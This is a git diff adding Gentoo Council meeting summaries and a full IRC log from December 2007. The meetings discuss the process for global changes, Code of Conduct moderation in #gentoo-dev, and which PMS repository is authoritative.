+flameeyes    here
+lu_zero      here
+vapier       here
+jokey        here
+
+Agenda
+------
+
+New USE documentation
+	http://archives.gentoo.org/gentoo-dev/msg_149120.xml
+	Considering the precedent set by how this was implemented,
+		what should we do?
+
+	- Should we leave it or revert it?
+	- Should we require a GLEP?
+		- Other options
+			- Discuss improvements on -dev, make changes, document them.
+				In other words, normal development process
+			- Leave as is
+			- Require future global changes to be sent to -dev in advance,
+				or they will be reverted.
+
+Code of Conduct enforcement 
+	http://thread.gmane.org/gmane.linux.gentoo.council/82
+	http://www.gentoo.org/proj/en/council/meeting-logs/20071108-summary.txt
+
+	- Should we make a decision today?
+	- If so, what decision?
+	- If not, what needs to happen for us to make a decision?
+
+=======================================================================
+
+New USE documentation
+---------------------
+
+1. We're leaving it, and considering further changes
+2. It should have been posted to -dev before committing for discussion
+
+General process for global changes:
+	1.  Post to -dev for discussion
+	2a. Consensus for implementing your idea as-is. No GLEP, no council. BREAK.
+	2b. Consensus for a GLEP for your idea, maybe disagreement over the idea.
+	    Write GLEP. Discuss on -dev. Submit GLEP to council.
+	2c. Disagreement, but some support. No consensus for a GLEP. Respond to the
+	    council agenda mail with a post containing a summary of your idea as
+	    well as patches for code and documentation.
+	2d. No support. Refine your idea, or think of a new one. GOTO 1.
+	3.  Council votes on the idea.
+
+Any future global changes that aren't discussed on -dev in advance may 
+be reverted by the council if at least two council members vote to revert 
+the changes. Those changes must be discussed on -dev and approved by the 
+council before recommitting. If they're recommitted without council 
+approval, the developer in question gets kicked out.
+
+Code of Conduct enforcement
+---------------------------
+
+Christy Fullam (musikc) made some valuable suggestions:
+
+	- The proposal should be restricted to only apply to #gentoo-dev and the
+		gentoo-dev list. Most other locations already have moderators of some
+		sort, and the council can work with them directly if there are CoC
+		problems. This idea went over really well.
+	- Moderation should be capped at 2 days, and then will be handed off to
+		devrel/userrel. No council approval involved.
+
+Mike Doty (kingtaco) suggested that we look for a way to prevent the 
+snowball effect on IRC: what if a modded person is voiced/opped by an 
+unmodded person, and a chain of this goes?
+
+Donnie Berkholz (dberkholz) will incorporate these changes into the 
+proposal and post an update to the -council list.
+
+Open floor
+----------
+
+Wulf Krueger (philantrop) asked which PMS repo was authoritative. The 
+external one had been getting changes, and the "official" gentoo.org one 
+had not. Mike Doty reported that they're working on allowing non-Gentoo 
+developers to contribute to the repository, which should resolve the 
+technical problems. Wulf responded that some people didn't want to 
+commit to a Gentoo-hosted repository.
diff --git a/xml/htdocs/proj/en/council/meeting-logs/20071213.txt b/xml/htdocs/proj/en/council/meeting-logs/20071213.txt
new file mode 100644
index 00000000..8a78510e
--- /dev/null
+++ b/xml/htdocs/proj/en/council/meeting-logs/20071213.txt
@@ -0,0 +1,369 @@
+20:00 <@jokey> dberkholz: you've taken chair, start the show plz ;)
+20:00 <@dberkholz> ok
+20:00 <@dberkholz> council members, sound off
+20:00  * amne looks
+20:01 <@Flameeyes> I'm here
+20:01 <@Betelgeuse> \o/
+20:01 <@jokey> \o/
+20:03 <@dberkholz> vapier: how's your ping?
+20:04 <@vapier> hot
+20:04 <@dberkholz> sweet.
+20:04 <@dberkholz> first issue, new USE documentation.
+20:04 <@dberkholz> it's in place, should we revert it or leave it in place and consider further changes?
+20:05 -!- Maedhros [n=jc@gentoo/developer/Maedhros] has joined #gentoo-council
+20:05 <@lu_zero> leave it and consider improvements
+20:05 <@lu_zero> ("go agile" =P)
+20:05 <@Flameeyes> as lu_zero said
+20:06 <@dberkholz> anyone disagree with that?
+20:06 <@amne> lu_zero++
+20:06 <@vapier> sounds peachy
+20:06 <@Flameeyes> none of the concerns I've read about seems to be incompatible with the current (albeit basic) implementation
+20:06 <@jokey> with it
+20:06 <@vapier> that doesnt mean it was done "properly"
+20:07 <@jokey> right, but still won't block further extensions of it
+20:07 <@Flameeyes> vapier, I disagree but you know that already :)
+20:07 <@vapier> planet.g.o is not the place for development
+20:07 <@vapier> there's a development mailing list
+20:07 <@vapier> use it
+20:07 <@lu_zero> so point 1b, how to fix the process
+20:08 <@lu_zero> Flameeyes pointed in many places that the glep process is problematic
+20:08 <@Betelgeuse> it's not
+20:08 <@Betelgeuse> but we do need some GLEP editors
+20:09 <@Betelgeuse> old ones need updating
+20:09 <@dberkholz> could you remind me what problems there were besides him not wanting to write in english?
+20:09 <@lu_zero> dberkholz let me see
+20:09 <@Flameeyes> dberkholz, never said I don't want to write in english, in fact, I actually do write in english more than I write in italian lately :)
+20:09 <@lu_zero> - the system seems to let proposal go stale
+20:09 <@vapier> people still use italian ?
+20:10 <@Flameeyes> my problem on language was more that the glep review process seems to go anal on grammar more than feasibility
+20:10 <@lu_zero> - writing a glep takes no much effort, getting it through more than implementing the proposals sometimes
+20:10 <@vapier> Flameeyes: i wouldnt say it's anal on grammar, it's anal on being correct
+20:10 <@dberkholz> one other issue i remember is that someone said that gleps never ended up getting integrated into other documentation, and you couldn't figure out what the actual result was in one place
+20:10 <@vapier> you're talking about a mini-spec
+20:11 <@vapier> it cant be ambiguous
+20:11 <@jokey> dberkholz: that's valid though (mostly devmanual additions have been left out from what I recall on that list)
+20:12 <@jokey> might be related that we have no active devmanual maintainer atm
+20:12 <@Betelgeuse> Halcy0n is coming back.
+20:12 <@Betelgeuse> He will hopefully do it.
+20:12 <@vapier> he seems set on it
+20:12 <@Flameeyes> vapier, and that's one problem, I can see why a spec is needed for big changes, but we're full of little changes for which I think a spec is an overkill
+20:12 <@dberkholz> yeah, he's submitted a lot of patches to it
+20:12 <@Flameeyes> and for those, being anal on correctness slows down the process quite a lot
+20:13 <@vapier> Flameeyes: i'm not arguing that this needed a GLEP, just that it should not have been done without being on the gentoo-dev mailing list
+20:14 <@Flameeyes> vapier, I can see your point in this, and I can agree on that, seeing it afterward
+20:14 <@Flameeyes> I certainly wasn't expecting this much of discussion on it anyway
+20:14 <@Flameeyes> still, I see the need for a min-spec for smaller changes an overkill
+20:14 <@vapier> usually after arguing it out on gentoo-dev, it is generally apparent whether it needs a GLEP
+20:15 <@vapier> if everyone is like "great super happy hard love it", then you do it
+20:15  * Flameeyes needs to take a quick shower
+20:15 <@lu_zero> vapier knowing the people there you ALWAYS need a glep
+20:15 <@Flameeyes> you already knows my point so I suppose I can go afk for a few mins ;)
+20:15 <@lu_zero> ok
+20:15 <@lu_zero> or you could bring the laptop there
+20:15 <@jokey> I'm with vapier here, sometimes small things turn out to rattle more cages you might have thought of ;)
+20:16 <@dberkholz> well, you could imagine getting council approval without having a full glep
+20:16 <@lu_zero> dberkholz and which are the minimum requirement for this small glep?
+20:17 <@dberkholz> just post your patches and a summary, following their discussion on -dev, when the council agenda request goes out
+20:18 <@lu_zero> fine for me
+20:19 -!- yoswink [n=yoswink@gentoo/developer/yoswink] has joined #gentoo-council
+20:20 <@jokey> more input or?
+20:22 <@Flameeyes> back
+20:23 <@Flameeyes> dberkholz, if we make that a feasible and accepted way, that works for me
+20:23 <@dberkholz> i don't see anything prohibiting it now
+20:23 <@dberkholz> people can submit anything they want to the council
+20:24 <@Flameeyes> dberkholz, sure, the problem is if that will make those things "properly" submitted or not...
+20:24 <@lu_zero> I'd say that would be up to su decide if we need a full glep or not
+20:24 <@lu_zero> (yes I'm asking for pain)
+20:24 <@vapier> i think current state is fine
+20:24 <@lu_zero> s/su/us/
+20:25 <@dberkholz> exactly
+20:25 <@dberkholz> we can say, either that needs a glep, or sure we'll take it like this
+20:25 <@dberkholz> or, take it back to -dev, we won't decide on that
+20:26 <@dberkholz> the only thing i'm a stickler about is making sure that non-glepped things have accompanying documentation
+20:28 <@lu_zero> I'm fine with it
+20:29 <@dberkholz> now a question of how to deal with these undiscussed global changes in the future
+20:29 <@dberkholz> do we leave them, or revert them?
+20:29 <@Flameeyes> I'd say decide on a case-by-case, by mail consultation with the council
+20:30 <@jokey> well everything like that should go through -dev first
+20:30 <@jokey> otherwise plain revert it
+20:31 <@dberkholz> ok, what if we assume it will be reverted but the council can veto
+20:31 <@jokey> then it also has to leave a comment on -dev
+20:31 <@dberkholz> we agree that these things need to go through -dev beforehand, right?
+20:32 <@jokey> right
+20:32 <@lu_zero> yes
+20:32 <@dberkholz> so if they don't, and we do nothing, that doesn't exactly help
+20:32 <@jokey> we revert it and post (at least) a notice to -dev about it
+20:33 <@Flameeyes> problem is defining what "undiscussed global changes" mean
+20:33 < kingtaco|work> something that affects more than what you control
+20:34 <@dberkholz> certainly things affecting every ebuild author would qualify as global
+20:34 <@Flameeyes> kingtaco|work, well, there is always a project controlling software
+20:34 <@vapier> Flameeyes: care to write a GLEP about the meaning of "undiscussed global changes" ?
+20:34 <@Flameeyes> I'd consider a change in portage behaviour global, but portage code is under portage's devs control for instance
+20:35 <@vapier> global should be pretty self evident
+20:35 <@vapier> if other people outside your team are affected
+20:35 <@vapier> blamo
+20:35 < kingtaco|work> that's a pretty easy way to see it
+20:35 <@vapier> it's the same "global" definition we've always used
+20:35 <@vapier> new developers: when do you use gentoo-dev ?
+20:35 < kingtaco|work> easier to define local and let global be the res
+20:35 < kingtaco|work> rest
+20:35 <@vapier> global issues !
+20:38 <@Flameeyes> do doc team have to pass through -dev to change the guidexml dtds for instance?
+20:38 <@Flameeyes> the dtds are under doc project's control, but guidexml is not just used by doc team
+20:39 -!- ZeRoX [n=zerox@nelug/developer/zer0x] has joined #gentoo-council
+20:40 <@dberkholz> they should probably pass through gentoo-doc instead
+20:40 <@jokey> guidexml was "offered" by doc team, so it's a related issue with them
+20:41 <@dberkholz> perhaps with a pointer to the discussion on -dev if it's really significant
+20:41 <@jokey> (and should be on their mailinglist as dberkholz pointed out=
+20:41  * Flameeyes still thinks this is subjective a lot from one's prospective
+20:43 < kingtaco|work> Flameeyes, which is why communicating when there is any question if it's global is important
+20:43 < kingtaco|work> really, a quick poll in #-dev is enough to figure out if people consider a topic global
+20:46 <@jokey> indeed. communication++
+20:46  * Flameeyes still isn't much revert-happy but it's not his decision
+20:46 <@lu_zero> well I'd rather avoid that
+20:47 <@lu_zero> still telling on -dev what you are doing isn't that problematic
+20:48 <@dberkholz> all our code's in version control, it's not like reverting something makes it disappear forever. it's trivial to re-commit later after it's been discussed
+20:48 <@Flameeyes> lu_zero, I think that in case like this, when skipping -dev is an overseen rather than malicious action, reverting would be too much
+20:48 <@dberkholz> i think that doesn't make any difference
+20:49 < kingtaco|work> dberkholz, out of all the problems we've had, revert wars have not been one.  should try to keep it that way :)
+20:49 <@dberkholz> well, it's no war because the buck stops with the council
+20:49 <@dberkholz> you commit undiscussed global change. council reverts it. if you recommit without council approval, we kick you out.
+20:51 < kingtaco|work> you don't see the problem with that?
+20:51 <@dberkholz> what's the problem?
+20:51 < kingtaco|work> if it needed to be reverted, then it's likely urgent enough that it cannot tolerate the latency of a council vote
+20:52 < kingtaco|work> otherwise the revert is a punishment and nothing more
+20:52 <@jokey> two council members can decide temporarily until next meeting
+20:52 <@lu_zero> ok
+20:52 <@Flameeyes> kingtaco|work, that's exactly what I meant
+20:52 <@Flameeyes> I'm not against a revert _if needed_, I'm against revert as just a punishment
+20:53 < kingtaco|work> it's just kind of pointless to revert if there's not a need
+20:53 < kingtaco|work> it's gonna hurt peoples feelings
+20:53 <@Flameeyes> hence my "case by case" idea
+20:53 < kingtaco|work> flamewars will probably ensue
+20:53 <@dberkholz> how is it a punishment? it's saying you can't commit things we haven't discussed, because they may be half-baked
+20:54 <@dberkholz> if people commit things we haven't discussed despite that, it just encourages lack of discussion because people will keep on doing that
+20:54 < kingtaco|work> that's true
+20:54 < jmbsvicetto> If it's a policy violation, than qa should be the one doing the revert in the first place
+20:54 < kingtaco|work> need a more active QA before that's possible
+20:54 < kingtaco|work> in theory QA should be doing it though, yes
+20:54 < NeddySeagoon> You have just decided the USE documentation on a case by case basis ... if it was good enough for that, why not going forward too, now the precedent has been set ?
+20:55 <@dberkholz> it's grandfathered in
+20:55 <@dberkholz> we can't retroactively apply new rules
+20:56 <@lu_zero> ok
+20:56 <@dberkholz> ok, here's what i've got
+20:56 <@dberkholz> Any future global changes that aren't discussed on -dev in advance will
+20:56 <@dberkholz> be reverted unless two council members vote to veto the reversion. Those
+20:56 <@dberkholz> changes must be discussed on -dev and approved by the council before
+20:56 <@dberkholz> recommitting.
+20:57 <@dberkholz> Flameeyes: it might make you feel a little better that it would have to be a pretty bad idea if it couldn't even get 2 council members to stop it from getting reverted
+20:57 < kingtaco|work> who can "revert"
+20:57 <@dberkholz> i just added "by the council"
+20:57 <@Flameeyes> dberkholz, I'd have preferred it the other way, but it's not me to decide, I shouldn't really vote on this issue at all
+20:57 < kingtaco|work> a consensus of people who happen to be active?  QA(when it's active)? anyone with a grudge?
+20:58 <@Flameeyes> [the other way as in, it will be reverted _if_ two council members vote to revert]
+20:58 <@dberkholz> sure you should, it's not applying to your thing =)
+20:59 <@dberkholz> Flameeyes: that would make it easier to revert, since only 2 need to favor reversion instead of 2 opposing it. is that what you want?
+21:00 <@Flameeyes> dberkholz, I consider the council savvy enough on the issues to decide if it's really the case to revert
+21:00 <@dberkholz> it does simplify the logic, though
+21:00 <@Flameeyes> on the other hand we could give an option to freeze, other than revert
+21:00 <@Flameeyes> [like was done last year for the multiple version suffix - was it last year?]
+21:02 -!- desultory [n=dean@gentoo/developer/desultory] has joined #gentoo-council
+21:02 <@dberkholz> i think that reverting something makes it more likely to get fixed than leaving a halfway-working thing in place
+21:02 <@Flameeyes> so the option would be a) revert, and ask for fleshing out before next council meeting; b) freeze, and again ask fleshing out before council meeting, otherwise the change is reverted; c) leave it go
+21:03 <@dberkholz> i'm sure we're all familiar with hacky code that barely works, but never gets fixed
+21:03 <@Flameeyes> dberkholz, hence why the council should then revert if there is no intention to flesh out the details
+21:06 <@Flameeyes> I'd actually expect freeze (under the threat of reversal) being more effective than direct reversal
+21:06 <@Flameeyes> as that makes less likely that the person involved would just be frustrated and would give up about fleshing the changes up
+21:07 <@dberkholz> is it really that hard to submit a complete patch?
+21:08 <@Flameeyes> no, but there can be mistakes in judgement because one change is not felt global by who made it, but it is from others, so, it might happen
+21:08 <@dberkholz> (on a side note, if we used distributed scm this would be a nonissue)
+21:09 <@dberkholz> Flameeyes: you think there are cases where one person absolutely feels it's non global and another person feels it's global?
+21:09 <@Flameeyes> I'm certainly not saying this to get an escape route to fasttrack things that one knows should be discussed
+21:09 <@Flameeyes> dberkholz, yes
+21:09 <@dberkholz> if it's ambiguous, people should ask
+21:09 <@dberkholz> as kingtaco|work was saying earlier
+21:09 <@Flameeyes> dberkholz, problem is, one might not feel like there's the need to ask... if he knew he'd would just submit the thing to -dev :)
+21:10 <@dberkholz> Flameeyes: can you cite a real instance of this?
+21:10 <@lu_zero> I won't spend more time on this point...
+21:10 <@lu_zero> reverting and recommitting isn't that problem
+21:11 <@Flameeyes> dberkholz, well, I for one wasn't much thinking about the metadata change as a global issue, considering dtd seemed to be under doc's control
+21:11 <@jokey> it isn't under docs control in any way
+21:12 <@Flameeyes> jokey, beside the fact that only doc team can actually commit to that directory you mean :)
+21:12 <@dberkholz> ok, i don't want to get into that
+21:12 <@dberkholz> i'm going to post what i've got and we can vote on it
+21:13 <@dberkholz> Any future global changes that aren't discussed on -dev in advance may reverted by the council if at least two council members vote to revert the changes. Those changes must be discussed on -dev and approved by the council before recommitting. If they're recommitted without council approval, the developer in question gets kicked out.
+21:13 <@Flameeyes> what am I saying is that if it is trivial to recognize a global issue afterward, it's not that easy beforehand for some things, so I wouldn't expect a mistake never to happen; certainly I don't want that to be used as excuse for malicious forcing
+21:13  * Flameeyes votes yes
+21:14 <@dberkholz> i agree with myself
+21:14  * jokey votes yes
+21:14 <@Flameeyes> dberkholz, that's good, otherwise we should be calling an hospital ;)
+21:14 <@dberkholz> and i also want to get on with this
+21:16 <@amne> sounds good
+21:16 <@dberkholz> alright. let's talk code of conduct
+21:17 <@lu_zero> fine
+21:17 <@lu_zero> anything changed from the former proposal?
+21:18 <@dberkholz> musikc suggested some changes
+21:18 <@dberkholz> that we should cap moderation at 2 days
+21:19 <@dberkholz> no need for council approval for longer periods because they won't happen, and it'll just get handed off the devrel
+21:20 < fmccor> What about user-on-user?
+21:20 <@dberkholz> good question
+21:20 <@dberkholz> the only action we can take then is moderating/banning then
+21:20 <@dberkholz> suppose it should go to userrel
+21:21 <@dberkholz> she also emphasized that we should focus on #gentoo-dev and the -dev list, because the other places (forums, other irc etc0 already have mods in place
+21:22 <@jokey> ack on the last one
+21:22 <@dberkholz> and perhaps more than focus, actually say that this is just dev mods for those 2 places and nothing else
+21:23 <@lu_zero> so far fine for me
+21:23 <@dberkholz> i like that last idea
+21:23 <@jokey> same here, that way the impact is also predictable
+21:24 <@dberkholz> and if CoC standards turn out to be a problem in specific places, the council could directly work with those people
+21:24 < NeddySeagoon> The CoC still applies other places, where its enforced by the existing moderation groups, so no issue there
+21:25 <@dberkholz> so anywhere but gentoo-dev list and irc would have no bearing on this proposal
+21:25 <@lu_zero> and if another place appears, well we'll extend later
+21:25 < Philantrop> What about Bugzilla when it's dev vs. dev?
+21:26 < fmccor> Right now, devrel does that when called in.
+21:26 <@dberkholz> devrel's been handling that in the past, right
+21:26 < fmccor> Generally we (I at least) have to be called, otherwise I won't see it.
+21:27 <@dberkholz> right. i don't think anybody, or any group of people, can expect to read all the bug traffic.
+21:29 < kingtaco|work> I bet jakub does
+21:29 <@dberkholz> i will change the proposal to just cover gentoo-dev stuff, make a few other refinements, and post to the -council list again
+21:30 <@dberkholz> since it seems like people generally like that idea
+21:30 <@lu_zero> =)
+21:30 < NeddySeagoon> dberkholz, #gentoo-dev is not controllable while everyone has ops
+21:30 < kingtaco|work> wrong
+21:31 < kingtaco|work> devrel has the ability to perm remove ops
+21:31 <@dberkholz> guess they'll have to get deopped temporarily, then
+21:31 < NeddySeagoon> kingtaco|work, true butthat takes days
+21:31 < kingtaco|work> the peons can deop each other all they want, devrel has the ability to do it and make it stick
+21:31 < kingtaco|work> NeddySeagoon, something to take up with them I suppose
+21:32 < kingtaco|work> there seems to be a lot of things in devrel that people want to go faster
+21:32 <@jokey> from what we heard on freenode, they have some admin user for the channel and a handful of people know the password to it
+21:32 <@jokey> maybe we can do the same
+21:32 < kingtaco|work> not needed
+21:32 <@dberkholz> anyone with a high enough chanserv access level can change anyone lower's levels
+21:32 <@jokey> they being ubuntu and freebsd
+21:32 < kingtaco|work> a person needs access level of 30
+21:33 < kingtaco|work> to control #-dev
+21:33 < kingtaco|work> and 40 to control those who control #-dev
+21:33 <@dberkholz> and infinity to control the universe! bwahahaha
+21:33 < NeddySeagoon> kingtaco|work, there are two different sorts of coc enforement. An instant cooling off period and longer term for repeat offenders. How do you do the instant cooling off in #gentoo-dev
+21:34 < kingtaco|work> NeddySeagoon, I don't have the answer, just telling you what's possible with the current setup
+21:34 <@jokey> that brings up the question... who enforces CoC?
+21:34 <@Flameeyes> dberkholz, I think the level is capped at 99 when you insert the master password ;)
+21:34 <@dberkholz> the moderators of whatever location
+21:34 < NeddySeagoon> kingtaco|work, I don't have the answer but being a proctor taught me some of the questions
+21:35 -!- ryker [n=none@a01-03c-084.calumet.purdue.edu] has quit []
+21:35 <@dberkholz> you could just ban folks for a while, have to remember to unban later though.
+21:36 <@Flameeyes> people with op can auto-unban themselves
+21:36 <@dberkholz> yes, you'd clearly have to change the levels
+21:36 < jmbsvicetto> dberkholz: on #-dev with the current setup, you'll have to give moderators an access level of 30
+21:36 <@dberkholz> i guess i'd prefer to just -op -voice and let people idle in there, so they don't miss anything
+21:36 <@Flameeyes> dberkholz, quietban
+21:36 <@dberkholz> as opposed to actually banning
+21:37 <@jokey> mode +q afaik
+21:37 <@dberkholz> Flameeyes: sure, bout the same effect in #-dev
+21:37 < kingtaco|work> except the friend of the banned will unban/unmute/whatever, prompting that person to be banned/muted, prompting another person .........
+21:37 <@dberkholz> yep, won't it be fun?
+21:37 < kingtaco|work> it's never one person against the world
+21:37 < kingtaco|work> yes
+21:38 < kingtaco|work> that's why it's ineffective
+21:38 <@dberkholz> that's a bit of a stretch
+21:38 < kingtaco|work> to the point that it's actually negative IMO
+21:38 <@Flameeyes> let's all devs have voice and not op? still allowing them to give voice to others upon request?
+21:38 <@dberkholz> that's just about lack of respect for the council and CoC, if people do that
+21:38 < kingtaco|work> instead of one problem person, you now have the group that sided with said person as the problem
+21:38 <@dberkholz> and for gentoo as a whole
+21:39 <@Flameeyes> after all the most used op feature in #gentoo-dev is giving voice to contributors
+21:39 < NeddySeagoon> kingtaco|work, I think you have to take ops away from everyone except the chan managers and coc enforcers
+21:39 < kingtaco|work> well, I assert that there isn't much respect for council, CoC or gentoo around here
+21:39 < Philantrop> Do we really have such big of a problem in #-dev that we need to make such a fuss about it? :)
+21:39 <@dberkholz> if a whole group of people chooses to get modded, who cares
+21:39 <@dberkholz> good for them
+21:40 < NeddySeagoon> Philantrop, there is a perceived need for coc enforcement
+21:40 <@dberkholz> that doesn't mean we should just let things be a free-for-all with no community standards
+21:40 < kingtaco|work> not suggesting that
+21:40 < kingtaco|work> I'm suggesting the proposed solution to the perceived problem is actually more negative that the problem due to the snowball effect
+21:41 <@dberkholz> i'm suggesting that your suggestion is not a problem if people know in advance what will happen =)
+21:42 < kingtaco|work> I respectfully disagree
+21:42 < kingtaco|work> but I've made my point :)
+21:43 <@dberkholz> and if this snowball effect you suggest, does happen, i also suggest that it's not a bad thing to mod everyone involved because it makes a point
+21:43 <@dberkholz> multiple people breaking a rule don't get away with it any more than just one
+21:43 < NeddySeagoon> dberkholz, until you get modded
+21:43 <@dberkholz> i do occasionally do other things besides sit in front of the computer =)
+21:44 < kingtaco|work> I recommend you find a solution that minimizes the potential for the snowball effect
+21:44 < kingtaco|work> if it happens so be it
+21:44 < NeddySeagoon> I was meaning in the process of quieting an unruly group
+21:44 <@dberkholz> but if i do something wrong, i don't expect to get away with it any more than anyone else
+21:45 < NeddySeagoon> if you don't change the access list, /cycle will give users there privs back
+21:46 <@lu_zero> hm
+21:46 < NeddySeagoon> anyway, we will not get an nswer here
+21:46 <@dberkholz> ok. does anyone have any new points to make about this?
+21:46 <@dberkholz> emphasis on new
+21:47 < kingtaco|work> not I
+21:48 <@dberkholz> ok
+21:49 <@dberkholz> in closing, i'll post an updated draft to the -council list for discussion
+21:49 <@dberkholz> seems like we're getting somewhere by narrowing the scope a bit
+21:49 < jmbsvicetto> I would just recall that in the case of the mls you need to make sure the tools exist before you ask anyone to moderate them
+21:49 < NeddySeagoon> dberkholz, the scope is not narrowed - the coc is enforced in other areas by existing groups
+21:49 < kingtaco|work> infra hasn't removed any of the tools
+21:50 < kingtaco|work> that said, we'll probably be pretty latent in making new ones, so I suggest you really try to use what's existing
+21:50 <@dberkholz> NeddySeagoon: the scope of the changes, anyhow. the other areas were already happening
+21:50 < NeddySeagoon> jmbsvicetto, they do but nobody gets gentoo-dev ml messages sent for moderation
+21:51 <@dberkholz> ok, let's wrap this topic up and move to the open floow
+21:51 <@dberkholz> floor, too
+21:51 <@jokey> ack
+21:51 <@dberkholz> Philantrop had one particular issue to raise
+21:52 <@dberkholz> which PMS is authoritative?
+21:52 < kingtaco|work> how is there any question to that?
+21:52 < Philantrop> Personally, I'd prefer the one that is actually being worked on - regardless of where it's hosted. :-)
+21:53 <@dberkholz> kingtaco|work: well, there's one that's actually been getting changes, and one that hasn't
+21:53 < Philantrop> kingtaco|work: The one on our infrastructure doesn't even have EAPI1 docs.
+21:53 <@dberkholz> you mentioned something about the pms repo earlier, so maybe you have a clue what's going on
+21:53 < kingtaco|work> I don't have the details, but here's the general gist
+21:54 < kingtaco|work> we're going to treat PMS the same as ubers baselayout repo
+21:54 <@jokey> except that ours is not being worked on but the external hosted one is
+21:54 < kingtaco|work> in the past, the only hold up on moving PMS to gentoo is there were a couple external contributers that were offended by the thought of having to pass their commits through a dev
+21:55 < kingtaco|work> this removes that
+21:55 < kingtaco|work> as for which one gentoo follows, it's kind of foolish that we would follow an external spec for something that gentoo created
+21:55 < Philantrop> kingtaco|work: I apologize if I ask something that has been covered but how do we treat Uber's repo? :)
+21:56 < kingtaco|work> regardless of what external projects do
+21:56 < kingtaco|work> Philantrop, via git
+21:56 < Philantrop> kingtaco|work: Ah, so we pull regularly?
+21:56 < kingtaco|work> I don't know the git specific terms, but the repo is hosted by gentoo
+21:56 < Philantrop> kingtaco|work: Yes, that's the status quo. :)
+21:57 <@dberkholz> well, it seems more like uber etc will be able to push to our repo, actually
+21:57 <@dberkholz> we're going to be able to allow pushes by external contributors
+21:57 < kingtaco|work> we don't replicate someone elses repo, we're hosting it
+21:57 <@jokey> once we get the new overlays box in place
+21:57 <@dberkholz> kingtaco|work: fyi, a pull would mean we had a designated person merging in external changes from other repos
+21:58 < kingtaco|work> dberkholz, ok, it's certainly not that
+21:58 < Philantrop> kingtaco|work: a) That's semantics. b) The "external contributors" you're probably referring to don't want to push to our repository.
+21:59 < kingtaco|work> Philantrop, I only know of one person who had the problem, and frankly, his problems are his own
+21:59 < kingtaco|work> gentoo does not need to bend itself to accomodate him
+22:00 < kingtaco|work> as far as I care, any perceived responsibility ends when we make the service available for him to use
+22:00 < kingtaco|work> we certainly can't force him to use it
+22:00 < Philantrop> kingtaco|work: I agree with the latter. Nevertheless, from what I was told by several people he's not the only one. And we, as in Gentoo, don't seem to work on PMS currently.
+22:01 < kingtaco|work> I don't doubt there are others, but I can't address them if I don't know what the specific issue is
+22:01 <@jokey> main issue is, only the guy who did the initial svn conversion can continue syncing up
+22:01 < kingtaco|work> and again, gentoo is not held hostage by external contributers
+22:03 <@jokey> right
+22:03 < Philantrop> kingtaco|work: No, but there's a current, functional SVN repository and an outdated one on our infrastructure. There's no actual work on our repository. There is on "their's". Will it kill us to choose theirs? :-)
+22:03 < kingtaco|work> Philantrop, yes it would
+22:03 < kingtaco|work> it's very clear, gentoo sets it's own standards
+22:04 < Philantrop> kingtaco|work: Ah, I see. It will kill ego's. :-)
+22:04 < kingtaco|work> we can't prevent others from trying to set or influence them, but at the end of the day gentoo is only responsible to itself
+22:04 < kingtaco|work> ugh, I'm done
+22:04 < Philantrop> kingtaco|work: Same here.
+22:05 <@dberkholz> Philantrop: it's not really about egos as much as control over the specification of our own package format
+22:05 <@vapier> we already had this discussion
+22:05 <@dberkholz> it's fun to do it every week though, don't you think?
+22:06 < kingtaco|work> it's a waste of time
+22:06 < Philantrop> dberkholz: I absolutely agree in general. But we don't even have an official documentation for EAPI1.
+22:06 < kingtaco|work> gentoo has gone more than half way to accomodate external people
+22:06 < kingtaco|work> screw them if they still don't want to play nice
+22:06 <@dberkholz> alright, we're not making any progress here
+22:06 < kingtaco|work> I'll have none of it
+22:06 <@dberkholz> so you guys can continue the discussion after the meeting if you want
+22:06  * Philantrop considers the place where the actual *work* takes place as authoritative until something significant happens in our repo.
+22:06 <@dberkholz> any other topics for the open floor?
+22:07 <@lu_zero> I guess not
+22:08 <@dberkholz> ok, meeting's over. thanks for playing.
diff --git a/xml/htdocs/proj/en/council/meeting-logs/20080110-summary.txt b/xml/htdocs/proj/en/council/meeting-logs/20080110-summary.txt
new file mode 100644
index 00000000..097bb580
--- /dev/null
+++ b/xml/htdocs/proj/en/council/meeting-logs/20080110-summary.txt
@@ -0,0 +1,119 @@
+Roll call
+---------
+
+(here, proxy [by whom] or slacker?)
+
+amne        here
+betelgeuse  here
+dberkholz   proxy [musikc]
+flameeyes   here
+lu_zero     here 
+vapier      here
+jokey       here 
+
+Agenda
+------
+
+GLEP 54: scm package version suffix
+	http://www.gentoo.org/proj/en/glep/glep-0054.html
+
+GLEP 55: Use EAPI-suffixed ebuilds (.ebuild-EAPI)
+	http://www.gentoo.org/proj/en/glep/glep-0055.html
+
+Code of Conduct enforcement 
+	http://thread.gmane.org/gmane.linux.gentoo.council/82
+	http://www.gentoo.org/proj/en/council/meeting-logs/20071108-summary.txt
+	http://www.gentoo.org/proj/en/council/meeting-logs/20071213-summary.txt
+
+	- What needs to happen for us to make a decision?
+
+	Last week, we agreed to just add moderators to #gentoo-dev and the
+	gentoo-dev list. Other places with their own moderation should enforce the
+	CoC themselves. We also agreed that moderation must be handed over to devrel
+	or userrel after 2 days.
+
+	Ferris asked some questions:
+		1)  Do we have an implementation schedule? ;
+		2)  Have we identified some warm bodies for it?;
+		3)  Most devrel requests seem really to relate to CoC violations.  Would
+		you like us to bounce those to the CoC people, process them using CoC
+		rules, or keep doing what we are doing now (generally, close them with a
+		note explaining why or mediate them)?  (I'm talking about the "He's
+		being rude/sarcastic/disrespectful" sorts of things which really need to
+		be processed immediately and merit a warning or brief suspension if
+		anything.)
+
+Slacker arches
+	See Caleb's post on -dev and subsequent thread
+	Calebs post:
+	  http://article.gmane.org/gmane.linux.gentoo.devel/53933
+	Kumba's comment on mips status:
+	  http://article.gmane.org/gmane.linux.gentoo.devel/54168
+        Rich0's proposal:
+	  http://article.gmane.org/gmane.linux.gentoo.devel/54103
+
+
+Document of being an active developer
+        Araujo raised that he needs some kind of written document of being an
+	active developer. Argument being that mentioning in CV in his
+	environment is only accepted if there is some kind of proof.
+	Our trustee grant deferred it back to council+infra as Foundation only
+	handles IP, but suggested it could be some kind of generated document.
+
+
+=======================================================================
+
+GLEP 54 : Postponed to -dev ML
+-------
+        Comment from portage maintainer:
+	- no statement about compatibility/implementation plans
+	- more subjective:
+	  - while a distinction between CPV and atom may not be technically
+	    required, I might be useful to have
+	  - (minor) if the version part is optionl there could be some
+	    complications
+
+	So is this something we'd like to have?
+
+        Other ideas that came up during discussion:
+        - -scm or _scm ?
+	- handling as (-|_pre)9999) versions per definition
+	- implement as dynamic package sets
+
+        Related bugs:
+	- bug #9202 - Better support for CVS Ebuilds...
+
+	Pushed back to -dev ML as there are too many unresolved questions at
+	the moment. peper is given the task to repost it and expand on
+	usefulness / use cases as well as compatibility issues.
+
